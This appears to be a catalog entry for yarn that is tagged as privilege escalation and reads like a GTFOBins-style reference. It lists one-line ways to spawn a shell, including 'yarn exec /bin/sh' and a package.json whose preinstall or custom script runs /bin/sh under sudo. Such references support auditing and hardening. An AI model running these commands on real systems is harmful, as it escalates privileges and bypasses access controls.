Fast, reliable Node.js package manager; can execute arbitrary scripts.
yarn yarn Sandbox: execFile · Timeout: 30s
security.privilege-escalation.shell Outputs
process.output Command execution output
process_spawn Produces
process.output| Resource | Value |
|---|---|
| CPU | low |
| Memory | 16 MB |
| Network | none |
| Disk I/O | low |
Spawn an interactive shell (sudo, unprivileged)
yarn exec /bin/sh Spawn an interactive shell (sudo, unprivileged)
echo '{"scripts": {"preinstall": "/bin/sh"}}' >package.json
yarn --cwd . Spawn an interactive shell (sudo, unprivileged)
echo '{"scripts": {"xxx": "/bin/sh"}}' >package.json
yarn --cwd . xxx yarn is a command-line utility. Fast, dependable package manager for Node.js; can also spawn an interactive shell.